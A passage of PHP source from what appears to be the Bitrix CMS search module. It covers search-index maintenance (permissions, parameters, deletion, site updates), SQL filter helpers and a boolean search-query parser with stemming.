global $USER;
$arResult = array();
if ($USER->IsAdmin())
{
$arResult[] = "1=1";
}
else
{
if ($USER->GetID() > 0)
{
CSearchUser::CheckCurrentUserGroups();
$arResult[] = "
EXISTS (
SELECT 1
FROM b_search_content_right scg
WHERE ".$FIELD." = scg.SEARCH_CONTENT_ID
AND scg.GROUP_CODE IN (
SELECT GROUP_CODE FROM b_search_user_right
WHERE USER_ID = ".$USER->GetID()."
)
)";
}
else
{
$arResult[] = "
EXISTS (
SELECT 1
FROM b_search_content_right scg
WHERE ".$FIELD." = scg.SEARCH_CONTENT_ID
AND scg.GROUP_CODE = 'G2'
)";
}
}
return "((".implode(") OR (", $arResult)."))";
}
public static function SetContentItemParams($index_id, $arParams)
{
$DB = CDatabase::GetModuleConnection('search');
$index_id = intval($index_id);
$arToInsert = array();
if (is_array($arParams))
{
foreach ($arParams as $k1 => $v1)
{
$name = trim($k1);
if (strlen($name))
{
$sql_name = "'".$DB->ForSQL($name, 100)."'";
if (!is_array($v1))
$v1 = array($v1);
foreach ($v1 as $v2)
{
$value = trim($v2);
if (strlen($value))
{
$sql_value = "'".$DB->ForSQL($value, 100)."'";
$key = md5($sql_name).md5($sql_value);
$arToInsert[$key] = "
INSERT INTO b_search_content_param
(SEARCH_CONTENT_ID, PARAM_NAME, PARAM_VALUE)
VALUES
(".$index_id.", ".$sql_name.", ".$sql_value.")
";
}
}
}
}
}
if (empty($arToInsert))
{
$DB->Query("
DELETE FROM b_search_content_param
WHERE
SEARCH_CONTENT_ID = ".$index_id."
", false, "File: ".__FILE__."<br>Line: ".__LINE__);
}
else
{
$rs = $DB->Query("
SELECT PARAM_NAME, PARAM_VALUE
FROM b_search_content_param
WHERE SEARCH_CONTENT_ID = ".$index_id."
", false, "File: ".__FILE__."<br>Line: ".__LINE__);
while ($ar = $rs->Fetch())
{
$sql_name = "'".$DB->ForSQL($ar["PARAM_NAME"], 100)."'";
$sql_value = "'".$DB->ForSQL($ar["PARAM_VALUE"], 100)."'";
$key = md5($sql_name).md5($sql_value);
if (array_key_exists($key, $arToInsert))
{
unset($arToInsert[$key]);
}
else
{
$DB->Query($s = "
DELETE FROM b_search_content_param
WHERE
SEARCH_CONTENT_ID = ".$index_id."
AND PARAM_NAME = ".$sql_name."
AND PARAM_VALUE = ".$sql_value."
", false, "File: ".__FILE__."<br>Line: ".__LINE__);
}
}
}
foreach ($arToInsert as $sql)
$DB->Query($sql, false, "File: ".__FILE__."<br>Line: ".__LINE__);
}
public static function GetContentItemParams($index_id, $param_name = false)
{
$DB = CDatabase::GetModuleConnection('search');
$index_id = intval($index_id);
if ($index_id <= 0)
{
return false;
}
$arResult = array();
$rs = $DB->Query("
SELECT PARAM_NAME, PARAM_VALUE
FROM b_search_content_param
WHERE SEARCH_CONTENT_ID = ".$index_id."
".($param_name && strlen($param_name) > 0? " AND PARAM_NAME = '".$DB->ForSQL($param_name)."'": "")."
", false, "File: ".__FILE__."<br>Line: ".__LINE__);
while ($ar = $rs->Fetch())
{
if (!isset($ar["PARAM_NAME"], $arResult))
{
$arResult[$ar["PARAM_NAME"]] = array();
}
$arResult[$ar["PARAM_NAME"]][] = $ar["PARAM_VALUE"];
}
return $arResult;
}
function stddev($arValues)
{
$mean = array_sum($arValues) / count($arValues);
$variance = 0.0;
foreach ($arValues as $v)
$variance += pow($v - $mean, 2);
return sqrt($variance / count($arValues));
}
function normdev($words_count)
{
$a = array();
while ($words_count > 0)
$a[] = $words_count--;
return $this->stddev($a);
}
public static function DeleteOld($SESS_ID, $MODULE_ID = "", $SITE_ID = "")
{
$DB = CDatabase::GetModuleConnection('search');
$strFilter = "";
if ($MODULE_ID != "")
$strFilter .= " AND MODULE_ID = '".$DB->ForSql($MODULE_ID)."' ";
$strJoin = "";
if ($SITE_ID != "")
{
$strFilter .= " AND scsite.SITE_ID = '".$DB->ForSql($SITE_ID)."' ";
$strJoin .= " INNER JOIN b_search_content_site scsite ON sc.ID=scsite.SEARCH_CONTENT_ID ";
}
if (!is_array($SESS_ID))
$SESS_ID = array($SESS_ID);
foreach ($SESS_ID as $key => $value)
$SESS_ID[$key] = $DB->ForSql($value);
$strSql = "
SELECT ID
FROM b_search_content sc
".$strJoin."
WHERE (UPD not in ('".implode("', '", $SESS_ID)."') OR UPD IS NULL)
".$strFilter."
";
$arEvents = GetModuleEvents("search", "OnBeforeIndexDelete", true);
$rs = $DB->Query($strSql, false, "File: ".__FILE__."<br>Line: ".__LINE__);
while ($ar = $rs->Fetch())
{
foreach ($arEvents as $arEvent)
ExecuteModuleEventEx($arEvent, array("SEARCH_CONTENT_ID = ".$ar["ID"]));
$DB->Query("DELETE FROM b_search_content_param WHERE SEARCH_CONTENT_ID = ".$ar["ID"], false, "File: ".__FILE__."<br>Line: ".__LINE__);
$DB->Query("DELETE FROM b_search_content_right WHERE SEARCH_CONTENT_ID = ".$ar["ID"], false, "File: ".__FILE__."<br>Line: ".__LINE__);
$DB->Query("DELETE FROM b_search_content_site WHERE SEARCH_CONTENT_ID = ".$ar["ID"], false, "File: ".__FILE__."<br>Line: ".__LINE__);
$DB->Query("DELETE FROM b_search_content_title WHERE SEARCH_CONTENT_ID = ".$ar["ID"], false, "File: ".__FILE__."<br>Line: ".__LINE__);
$DB->Query("DELETE FROM b_search_tags WHERE SEARCH_CONTENT_ID = ".$ar["ID"], false, "File: ".__FILE__."<br>Line: ".__LINE__);
CSearchFullText::getInstance()->deleteById($ar["ID"]);
$DB->Query("DELETE FROM b_search_content WHERE ID = ".$ar["ID"], false, "File: ".__FILE__."<br>Line: ".__LINE__);
}
CSearchTags::CleanCache();
}
public static function DeleteForReindex($MODULE_ID)
{
$DB = CDatabase::GetModuleConnection('search');
$MODULE_ID = $DB->ForSql($MODULE_ID);
$strSql = "SELECT ID FROM b_search_content WHERE MODULE_ID = '".$MODULE_ID."'";
$arEvents = GetModuleEvents("search", "OnBeforeIndexDelete", true);
$rs = $DB->Query($strSql, false, "File: ".__FILE__."<br>Line: ".__LINE__);
while ($ar = $rs->Fetch())
{
foreach ($arEvents as $arEvent)
ExecuteModuleEventEx($arEvent, array("SEARCH_CONTENT_ID = ".$ar["ID"]));
$DB->Query("DELETE FROM b_search_content_param WHERE SEARCH_CONTENT_ID = ".$ar["ID"], false, "File: ".__FILE__."<br>Line: ".__LINE__);
$DB->Query("DELETE FROM b_search_content_right WHERE SEARCH_CONTENT_ID = ".$ar["ID"], false, "File: ".__FILE__."<br>Line: ".__LINE__);
$DB->Query("DELETE FROM b_search_content_site WHERE SEARCH_CONTENT_ID = ".$ar["ID"], false, "File: ".__FILE__."<br>Line: ".__LINE__);
$DB->Query("DELETE FROM b_search_content_title WHERE SEARCH_CONTENT_ID = ".$ar["ID"], false, "File: ".__FILE__."<br>Line: ".__LINE__);
$DB->Query("DELETE FROM b_search_tags WHERE SEARCH_CONTENT_ID = ".$ar["ID"], false, "File: ".__FILE__."<br>Line: ".__LINE__);
CSearchFullText::getInstance()->deleteById($ar["ID"]);
$DB->Query("DELETE FROM b_search_content WHERE ID = ".$ar["ID"], false, "File: ".__FILE__."<br>Line: ".__LINE__);
}
CSearchTags::CleanCache();
}
public static function DeleteIndex($MODULE_ID, $ITEM_ID = false, $PARAM1 = false, $PARAM2 = false, $SITE_ID = false)
{
$DB = CDatabase::GetModuleConnection('search');
$bIncSites = false;
$op = (strpos($ITEM_ID, '%') !== false? '%=': '=');
if ($PARAM1 !== false && $PARAM2 !== false)
{
$strSqlWhere = CSearch::__PrepareFilter(array(
"MODULE_ID" => $MODULE_ID,
$op."ITEM_ID" => $ITEM_ID,
array(
"=PARAM1" => $PARAM1,
"PARAM2" => $PARAM2,
),
"SITE_ID" => $SITE_ID,
), $bIncSites);
}
else
{
$strSqlWhere = CSearch::__PrepareFilter(array(
"MODULE_ID" => $MODULE_ID,
$op."ITEM_ID" => $ITEM_ID,
"PARAM1" => $PARAM1,
"PARAM2" => $PARAM2,
"SITE_ID" => $SITE_ID,
), $bIncSites);
}
$strSql = "
SELECT sc.ID
FROM b_search_content sc
".($bIncSites? "INNER JOIN b_search_content_site scsite ON sc.ID=scsite.SEARCH_CONTENT_ID": "")."
WHERE
".$strSqlWhere."
";
$arEvents = GetModuleEvents("search", "OnBeforeIndexDelete", true);
$rs = $DB->Query($strSql, false, "File: ".__FILE__."<br>Line: ".__LINE__);
while ($ar = $rs->Fetch())
{
foreach ($arEvents as $arEvent)
ExecuteModuleEventEx($arEvent, array("SEARCH_CONTENT_ID = ".$ar["ID"]));
$DB->Query("DELETE FROM b_search_content_param WHERE SEARCH_CONTENT_ID = ".$ar["ID"], false, "File: ".__FILE__."<br>Line: ".__LINE__);
$DB->Query("DELETE FROM b_search_content_right WHERE SEARCH_CONTENT_ID = ".$ar["ID"], false, "File: ".__FILE__."<br>Line: ".__LINE__);
$DB->Query("DELETE FROM b_search_content_site WHERE SEARCH_CONTENT_ID = ".$ar["ID"], false, "File: ".__FILE__."<br>Line: ".__LINE__);
$DB->Query("DELETE FROM b_search_content_title WHERE SEARCH_CONTENT_ID = ".$ar["ID"], false, "File: ".__FILE__."<br>Line: ".__LINE__);
$DB->Query("DELETE FROM b_search_tags WHERE SEARCH_CONTENT_ID = ".$ar["ID"], false, "File: ".__FILE__."<br>Line: ".__LINE__);
CSearchFullText::getInstance()->deleteById($ar["ID"]);
$DB->Query("DELETE FROM b_search_content WHERE ID = ".$ar["ID"], false, "File: ".__FILE__."<br>Line: ".__LINE__);
}
CSearchTags::CleanCache();
}
public static function Update($ID, $arFields)
{
$DB = CDatabase::GetModuleConnection('search');
$bUpdate = false;
if (array_key_exists("~DATE_CHANGE", $arFields))
{
$arFields["DATE_CHANGE"] = $arFields["~DATE_CHANGE"];
unset($arFields["~DATE_CHANGE"]);
}
elseif (array_key_exists("LAST_MODIFIED", $arFields))
{
$arFields["DATE_CHANGE"] = $arFields["LAST_MODIFIED"];
unset($arFields["LAST_MODIFIED"]);
}
elseif (array_key_exists("DATE_CHANGE", $arFields))
{
$arFields["DATE_CHANGE"] = $DB->FormatDate($arFields["DATE_CHANGE"], "DD.MM.YYYY HH:MI:SS", CLang::GetDateFormat());
}
if (BX_SEARCH_VERSION > 1)
unset($arFields["SEARCHABLE_CONTENT"]);
if (array_key_exists("SITE_ID", $arFields))
{
CSearch::UpdateSite($ID, $arFields["SITE_ID"]);
$bUpdate = true;
}
if (array_key_exists("PERMISSIONS", $arFields))
{
$arNewGroups = array();
foreach ($arFields["PERMISSIONS"] as $group_id)
{
if (is_numeric($group_id))
$arNewGroups[$group_id] = "G".intval($group_id);
else
$arNewGroups[$group_id] = $group_id;
}
CSearch::SetContentItemGroups($ID, $arNewGroups);
$bUpdate = true;
}
if (array_key_exists("PARAMS", $arFields))
{
CSearch::SetContentItemParams($ID, $arFields["PARAMS"]);
$bUpdate = true;
}
$strUpdate = $DB->PrepareUpdate("b_search_content", $arFields);
if (strlen($strUpdate) > 0)
{
$arBinds = Array();
if (is_set($arFields, "BODY"))
$arBinds["BODY"] = $arFields["BODY"];
if (is_set($arFields, "SEARCHABLE_CONTENT"))
$arBinds["SEARCHABLE_CONTENT"] = $arFields["SEARCHABLE_CONTENT"];
if (is_set($arFields, "TAGS"))
$arBinds["TAGS"] = $arFields["TAGS"];
$DB->QueryBind("UPDATE b_search_content SET ".$strUpdate." WHERE ID=".intval($ID), $arBinds);
$bUpdate = true;
}
if ($bUpdate)
CSearchFullText::getInstance()->update($ID, $arFields);
}
public static function UpdateSite($ID, $arSITE_ID)
{
$DB = CDatabase::GetModuleConnection('search');
$ID = intval($ID);
if (!is_array($arSITE_ID))
{
$DB->Query("
DELETE FROM b_search_content_site
WHERE SEARCH_CONTENT_ID = ".$ID."
", false, "File: ".__FILE__."<br>Line: ".__LINE__);
}
else
{
$rsSite = $DB->Query("
SELECT SITE_ID, URL
FROM b_search_content_site
WHERE SEARCH_CONTENT_ID = ".$ID."
", false, "File: ".__FILE__."<br>Line: ".__LINE__);
while ($arSite = $rsSite->Fetch())
{
if (!array_key_exists($arSite["SITE_ID"], $arSITE_ID))
{
$DB->Query("
DELETE FROM b_search_content_site
WHERE SEARCH_CONTENT_ID = ".$ID."
AND SITE_ID = '".$DB->ForSql($arSite["SITE_ID"])."'
", false, "File: ".__FILE__."<br>Line: ".__LINE__);
}
else
{
if ($arSite["URL"] !== $arSITE_ID[$arSite["SITE_ID"]])
{
$DB->Query("
UPDATE b_search_content_site
SET URL = '".$DB->ForSql($arSITE_ID[$arSite["SITE_ID"]], 2000)."'
WHERE SEARCH_CONTENT_ID = ".$ID."
AND SITE_ID = '".$DB->ForSql($arSite["SITE_ID"])."'
", false, "File: ".__FILE__."<br>Line: ".__LINE__);
}
unset($arSITE_ID[$arSite["SITE_ID"]]);
}
}
foreach ($arSITE_ID as $site => $url)
{
$DB->Query("
INSERT INTO b_search_content_site(SEARCH_CONTENT_ID, SITE_ID, URL)
VALUES(".$ID.", '".$DB->ForSql($site, 2)."', '".$DB->ForSql($url, 2000)."')
", false, "File: ".__FILE__."<br>Line: ".__LINE__);
}
}
}
public static function ChangeIndex($MODULE_ID, $arFields, $ITEM_ID = false, $PARAM1 = false, $PARAM2 = false, $SITE_ID = false)
{
$DB = CDatabase::GetModuleConnection('search');
$bIncSites = false;
$strSqlWhere = CSearch::__PrepareFilter(array(
"MODULE_ID" => $MODULE_ID,
"ITEM_ID" => $ITEM_ID,
"PARAM1" => $PARAM1,
"PARAM2" => $PARAM2,
"SITE_ID" => $SITE_ID,
), $bIncSites);
$strSql = "
SELECT sc.ID
FROM b_search_content sc
".($bIncSites? "INNER JOIN b_search_content_site scsite ON sc.ID=scsite.SEARCH_CONTENT_ID": "")."
".(strlen($strSqlWhere) > 0? "WHERE ".$strSqlWhere: "")."
";
$rs = $DB->Query($strSql, false, "File: ".__FILE__."<br>Line: ".__LINE__);
while ($ar = $rs->Fetch())
{
CSearch::Update($ar["ID"], $arFields);
}
}
public static function ChangeSite($MODULE_ID, $arSite, $ITEM_ID = false, $PARAM1 = false, $PARAM2 = false, $SITE_ID = false)
{
$DB = CDatabase::GetModuleConnection('search');
$bIncSites = false;
$strSqlWhere = CSearch::__PrepareFilter(array(
"MODULE_ID" => $MODULE_ID,
"ITEM_ID" => $ITEM_ID,
"PARAM1" => $PARAM1,
"PARAM2" => $PARAM2,
"SITE_ID" => $SITE_ID,
), $bIncSites);
$strSql = "
SELECT sc.ID
FROM b_search_content sc
".($bIncSites? "INNER JOIN b_search_content_site scsite ON sc.ID=scsite.SEARCH_CONTENT_ID": "")."
WHERE
".$strSqlWhere."
";
$r = $DB->Query($strSql, false, "File: ".__FILE__."<br>Line: ".__LINE__);
while ($arR = $r->Fetch())
{
CSearch::Update($arR["ID"], array("SITE_ID" => $arSite));
}
}
public static function ChangePermission($MODULE_ID, $arGroups, $ITEM_ID = false, $PARAM1 = false, $PARAM2 = false, $SITE_ID = false, $PARAMS = false)
{
$DB = CDatabase::GetModuleConnection('search');
$bIncSites = false;
$strSqlWhere = CSearch::__PrepareFilter(array(
"MODULE_ID" => $MODULE_ID,
"ITEM_ID" => $ITEM_ID,
"PARAM1" => $PARAM1,
"PARAM2" => $PARAM2,
"SITE_ID" => $SITE_ID,
"PARAMS" => $PARAMS,
), $bIncSites);
if ($strSqlWhere)
{
$strSqlJoin1 = "INNER JOIN b_search_content sc ON sc.ID = b_search_content_right.SEARCH_CONTENT_ID";
$match = array();
//Copy first exists into inner join in hopeless try to defeat MySQL optimizer
if (preg_match('#^\\s*EXISTS (\\(SELECT \\* FROM b_search_content_param WHERE SEARCH_CONTENT_ID = sc.ID AND PARAM_NAME = \'[^\']+\' AND PARAM_VALUE = \'[^\']+\'\\))#', $strSqlWhere, $match))
{
$subTable = str_replace("SEARCH_CONTENT_ID = sc.ID AND", "", $match[1]);
$strSqlJoin2 = "INNER JOIN ".$subTable." p1 ON p1.SEARCH_CONTENT_ID = sc.ID";
}
else
{
$strSqlJoin2 = "";
}
}
else
{
$strSqlJoin1 = "";
$strSqlJoin2 = "";
}
$rs = $DB->Query("
SELECT sc.ID
FROM b_search_content sc
".$strSqlJoin2."
".($strSqlWhere?
"WHERE ".$strSqlWhere:
""
)."
", false, "File: ".__FILE__."<br>Line: ".__LINE__);
while ($arR = $rs->fetch())
{
CSearch::Update($arR["ID"], array("PERMISSIONS" => $arGroups));
}
}
}
class CSearchSQLHelper
{
var $bIncSites = false;
var $strSearchContentAlias = "";
function __construct($strSearchContentAlias)
{
$this->strSearchContentAlias = $strSearchContentAlias;
}
function _CallbackURL($field_name, $operation, $field_value)
{
global $DB;
if (is_array($field_value))
$sql_values = array_map(array($DB, "ForSQL"), array_filter($field_value));
elseif ($field_value !== false)
$sql_values = array($DB->ForSQL($field_value));
else
$sql_values = array();
$strSql = "";
if (!empty($sql_values))
{
switch ($operation)
{
case "I":
case "E":
case "S":
case "M":
foreach ($sql_values as $url_i)
{
$arSQL[] = $this->strSearchContentAlias.".URL LIKE '".$url_i."'";
$arSQL[] = "scsite.URL LIKE '".$url_i."'";
}
$strSql = "(".implode(") OR (", $arSQL).")";
$this->bIncSites = true;
break;
case "NI":
case "N":
case "NS":
case "NM":
$arSQL = array();
foreach ($sql_values as $url_i)
{
$arSQL[] = $this->strSearchContentAlias.".URL NOT LIKE '".$url_i."'";
$arSQL[] = "scsite.URL NOT LIKE '".$url_i."'";
}
$strSql = "(".implode(") AND (", $arSQL).")";
$this->bIncSites = true;
break;
default:
break;
}
}
if ($strSql)
return "(".$strSql.")";
else
return "";
}
function _CallbackPARAMS($field_name, $operation, $field_value)
{
global $DB;
$arSql = array();
if (is_array($field_value))
{
foreach ($field_value as $key => $val)
{
if (is_array($val))
{
foreach ($val as $i => $val2)
$val[$i] = $DB->ForSQL($val2);
$where = " in ('".implode("', '", $val)."')";
}
else
{
$where = " = '".$DB->ForSQL($val)."'";
}
$arSql[] = "EXISTS (SELECT * FROM b_search_content_param WHERE SEARCH_CONTENT_ID = ".$field_name." AND PARAM_NAME = '".$DB->ForSQL($key)."' AND PARAM_VALUE ".$where.")";
}
}
switch ($operation)
{
case "I":
case "E":
case "S":
case "M":
if (count($arSql))
return implode(" AND ", $arSql);
}
}
}
class CAllSearchQuery
{
var $m_query;
var $m_parsed_query;
var $m_words;
var $m_stemmed_words;
var $m_stemmed_words_id;
var $m_fields;
var $m_kav;
var $default_query_type;
var $rus_bool_lang;
var $no_bool_lang;
var $m_casematch;
var $error = "";
var $errorno = 0;
var $bTagsSearch = false;
var $m_tags_words;
var $bStemming = false;
var $bText = false;
function __construct($default_query_type = "and", $rus_bool_lang = "yes", $m_casematch = 0, $site_id = "")
{
$this->m_query = "";
$this->m_stemmed_words = array();
$this->m_tags_words = array();
$this->m_fields = "";
$this->default_query_type = $default_query_type;
$this->rus_bool_lang = $rus_bool_lang;
$this->m_casematch = $m_casematch;
$this->m_kav = array();
$this->error = "";
$db_site_tmp = CSite::GetByID($site_id);
if ($ar_site_tmp = $db_site_tmp->Fetch())
$this->m_lang = $ar_site_tmp["LANGUAGE_ID"];
else
$this->m_lang = "en";
}
function GetQueryString($fields, $query, $bTagsSearch = false, $bUseStemming = true, $bErrorOnEmptyStem = false)
{
$this->m_words = Array();
$this->m_fields = explode(",", $fields);
$this->bTagsSearch = $bTagsSearch;
//In case there is no masks used we'll keep list
//of all tags in this member
//to perform optimization
$this->m_tags_words = array();
$this->m_query = $query = $this->CutKav($query);
//Assume query does not have any word which can be stemmed
$this->bStemming = false;
if (!$this->bTagsSearch && $bUseStemming && COption::GetOptionString("search", "use_stemming") == "Y")
{
//In case when at least one word found: $this->bStemming = true
$stem_query = $this->StemQuery($query, $this->m_lang);
if ($this->bStemming === true || $bErrorOnEmptyStem)
$query = $stem_query;
}
$this->m_parsed_query = $query = $this->ParseQ($query);
if ($query == "( )" || strlen($query) <= 0)
{
$this->error = GetMessage("SEARCH_ERROR3");
$this->errorno = 3;
return false;
}
$query = $this->PrepareQuery($query);
return $query;
}
function CutKav($query)
{
$arQuotes = array();
if (preg_match_all("/([\"'])(.*?)(?<!\\\\)(\\1)/s", $query, $arQuotes))
{
foreach ($arQuotes[2] as $i => $quoted)
{
$quoted = trim($quoted);
if (strlen($quoted))
{
$repl = $i."cut5";
$this->m_kav[$repl] = str_replace("\\\"", "\"", $quoted);
$query = str_replace($arQuotes[0][$i], " ".$repl." ", $query);
}
else
{
$query = str_replace($arQuotes[0][$i], " ", $query);
}
if ($i > 100) break;
}
}
return $query;
}
function ParseQ($q)
{
$q = trim($q);
if (strlen($q) <= 0)
return '';
$q = $this->ParseStr($q);
$q = str_replace(
array("&", "|", "~", "(", ")"),
array(" && ", " || ", " ! ", " ( ", " ) "),
$q
);
$q = "( $q )";
$q = preg_replace("/\\s+/".BX_UTF_PCRE_MODIFIER, " ", $q);
return $q;
}
function ParseStr($qwe)
{
//Take alphabet into account
$arStemInfo = stemming_init($this->m_lang);
$letters = $arStemInfo["pcre_letters"]."|+&~()";
//Erase delimiters from the query
$qwe = trim(preg_replace("/[^".$letters."]+/".BX_UTF_PCRE_MODIFIER, " ", $qwe));
// query language normalizer
if (!$this->no_bool_lang)
{
$qwe = preg_replace("/(\\s+|^|[|&~])or(\\s+|\$|[|&~])/is".BX_UTF_PCRE_MODIFIER, "\\1|\\2", $qwe);
$qwe = preg_replace("/(\\s+|^|[|&~])and(\\s+|\$|[|&~])/is".BX_UTF_PCRE_MODIFIER, "\\1&\\2", $qwe);
$qwe = preg_replace("/(\\s+|^|[|&~])not(\\s+|\$|[|&~])/is".BX_UTF_PCRE_MODIFIER, "\\1~\\2", $qwe);
$qwe = preg_replace("/(\\s+|^|[|&~])without(\\s+|\$|[|&~])/is".BX_UTF_PCRE_MODIFIER, "\\1~\\2", $qwe);
if ($this->rus_bool_lang == 'yes')
{
$qwe = preg_replace("/(\\s+|^|[|&~])".GetMessage("SEARCH_TERM_OR")."(\\s+|\$|[|&~])/is".BX_UTF_PCRE_MODIFIER, "\\1|\\2", $qwe);
$qwe = preg_replace("/(\\s+|^|[|&~])".GetMessage("SEARCH_TERM_AND")."(\\s+|\$|[|&~])/is".BX_UTF_PCRE_MODIFIER, "\\1&\\2", $qwe);
$qwe = preg_replace("/(\\s+|^|[|&~])".GetMessage("SEARCH_TERM_NOT_1")."(\\s+|\$|[|&~])/is".BX_UTF_PCRE_MODIFIER, "\\1~\\2", $qwe);
$qwe = preg_replace("/(\\s+|^|[|&~])".GetMessage("SEARCH_TERM_NOT_2")."(\\s+|\$|[|&~])/is".BX_UTF_PCRE_MODIFIER, "\\1~\\2", $qwe);
}
}
$qwe = preg_replace("/(\\s*\\|+\\s*)/is".BX_UTF_PCRE_MODIFIER, "|", $qwe);
$qwe = preg_replace("/(\\s*\\++\\s*|\\s*\\&\\s*)/is".BX_UTF_PCRE_MODIFIER, "&", $qwe);
$qwe = preg_replace("/(\\s*\\~+\\s*)/is".BX_UTF_PCRE_MODIFIER, "~", $qwe);
$qwe = preg_replace("/\s*([()])\s*/s".BX_UTF_PCRE_MODIFIER, "\\1", $qwe);
// default query type is and
if (strtolower($this->default_query_type) == 'or')
$default_op = "|";
else
$default_op = "&";
$qwe = preg_replace("/(\s+|\&\|+|\|\&+)/s".BX_UTF_PCRE_MODIFIER, $default_op, $qwe);
// remove unnesessary boolean operators
$qwe = preg_replace("/\|+/", "|", $qwe);
$qwe = preg_replace("/&+/", "&", $qwe);
$qwe = preg_replace("/~+/", "~", $qwe);
$qwe = preg_replace("/\|\&\|/", "&", $qwe);
$qwe = preg_replace("/[\|\&\~]+$/", "", $qwe);
$qwe = preg_replace("/^[\|\&]+/", "", $qwe);
// transform "w1 ~w2" -> "w1 default_op ~ w2"
// ") ~w" -> ") default_op ~w"
// "w ~ (" -> "w default_op ~("
// ") w" -> ") default_op w"
// "w (" -> "w default_op ("
// ")(" -> ") default_op ("
$qwe = preg_replace("/([^\&\~\|\(\)]+)~([^\&\~\|\(\)]+)/s".BX_UTF_PCRE_MODIFIER, "\\1".$default_op."~\\2", $qwe);
$qwe = preg_replace("/\)~{1,}/s".BX_UTF_PCRE_MODIFIER, ")".$default_op."~", $qwe);
$qwe = preg_replace("/~{1,}\(/s".BX_UTF_PCRE_MODIFIER, ($default_op == "|"? "~|(": "&~("), $qwe);
$qwe = preg_replace("/\)([^\&\~\|\(\)]+)/s".BX_UTF_PCRE_MODIFIER, ")".$default_op."\\1", $qwe);
$qwe = preg_replace("/([^\&\~\|\(\)]+)\(/s".BX_UTF_PCRE_MODIFIER, "\\1".$default_op."(", $qwe);
$qwe = preg_replace("/\) *\(/s".BX_UTF_PCRE_MODIFIER, ")".$default_op."(", $qwe);
// remove unnesessary boolean operators
$qwe = preg_replace("/\|+/", "|", $qwe);
$qwe = preg_replace("/&+/", "&", $qwe);
// remove errornous format of query - ie: '(&', '&)', '(|', '|)', '~&', '~|', '~)'
$qwe = preg_replace("/\(\&{1,}/s", "(", $qwe);
$qwe = preg_replace("/\&{1,}\)/s", ")", $qwe);
$qwe = preg_replace("/\~{1,}\)/s", ")", $qwe);
$qwe = preg_replace("/\(\|{1,}/s", "(", $qwe);
$qwe = preg_replace("/\|{1,}\)/s", ")", $qwe);
$qwe = preg_replace("/\~{1,}\&{1,}/s", "&", $qwe);
$qwe = preg_replace("/\~{1,}\|{1,}/s", "|", $qwe);
$qwe = preg_replace("/\(\)/s", "", $qwe);
$qwe = preg_replace("/^[\|\&]{1,}/s", "", $qwe);
$qwe = preg_replace("/[\|\&\~]{1,}$/s", "", $qwe);
$qwe = preg_replace("/\|\&/s", "&", $qwe);
$qwe = preg_replace("/\&\|/s", "|", $qwe);
// remove unnesessary boolean operators one more time
$qwe = preg_replace("/\|+/", "|", $qwe);
$qwe = preg_replace("/&+/", "&", $qwe);
return $qwe;
}
function StemWord($w)
{
static $preg_ru = false;
if (is_array($w))
$w = $w[0];
$wu = ToUpper($w);
if (!$this->no_bool_lang)
{
if (preg_match("/^(OR|AND|NOT|WITHOUT)$/", $wu))
{
return $w;
}
elseif ($this->rus_bool_lang == 'yes')
{
if ($preg_ru === false)
$preg_ru = "/^(".ToUpper(GetMessage("SEARCH_TERM_OR")."|".GetMessage("SEARCH_TERM_AND")."|".GetMessage("SEARCH_TERM_NOT_1")."|".GetMessage("SEARCH_TERM_NOT_2")).")$/".BX_UTF_PCRE_MODIFIER;
if (preg_match($preg_ru, $wu))
return $w;
}
}
if (preg_match("/cut[56]/i", $w))
return $w;
$arrStem = array_keys(stemming($w, $this->m_lang));
if (count($arrStem) < 1)
return " ";
else
{
$this->bStemming = true;
return implode('|', $arrStem);
}
}
function StemQuery($q, $lang = "en")
{
$arStemInfo = stemming_init($lang);
return preg_replace_callback("/([".$arStemInfo["pcre_letters"]."]+)/".BX_UTF_PCRE_MODIFIER, array($this, "StemWord"), $q);
}
function PrepareQuery($q)
{
$state = 0;
$qu = array();
$n = 0;
$this->error = "";
$t = strtok($q, " ");
while (($t != "") && ($this->error == ""))
{
if ($state == 0)
{
if (($t == "||") || ($t == "&&") || ($t == ")"))
{
$this->error = GetMessage("SEARCH_ERROR2")." ".$t;
$this->errorno = 2;
}
elseif ($t == "!")
{
$state = 0;
$qu[] = " NOT ";
}
elseif ($t == "(")
{
$n++;
$state = 0;
$qu[] = "(";
}
else
{
$state = 1;
$where = $this->BuildWhereClause($t);
$c = count($qu);
if (
$where === "1=1"
&& (
($c > 0 && $qu[$c - 1] === " OR ")
|| ($c > 1 && $qu[$c - 1] === "(" && $qu[$c - 2] === " OR ")
)
)
{
$where = "1<>1";
}
$qu[] = " ".$where." ";
}
}
elseif ($state == 1)
{
if (($t == "||") || ($t == "&&"))
{
$state = 0;
if ($t == '||')
$qu[] = " OR ";
else
$qu[] = " AND ";
}
elseif ($t == ")")
{
$n--;
$state = 1;
$qu[] = ")";
}
else
{
$this->error = GetMessage("SEARCH_ERROR2")." ".$t;
$this->errorno = 2;
}
}
else
{
break;
}
$t = strtok(" ");
}
if (($this->error == "") && ($n != 0))
{
$this->error = GetMessage("SEARCH_ERROR1");
$this->errorno = 1;
}
if ($this->error != "")
{
return 0;
}
return implode($qu);
}
}
class CSearchCallback
{
var $MODULE = "";
var $max_execution_time = 0;
var $CNT = 0;
var $SESS_ID = "";
function Index($arFields)
{
$ID = $arFields["ID"];
if ($ID == "")
return true;
unset($arFields["ID"]);
CSearch::Index($this->MODULE, $ID, $arFields, false, $this->SESS_ID);
$this->CNT = $this->CNT + 1;
if ($this->max_execution_time > 0 && getmicrotime() - START_EXEC_TIME > $this->max_execution_time)
return false;
else
return true;
}
}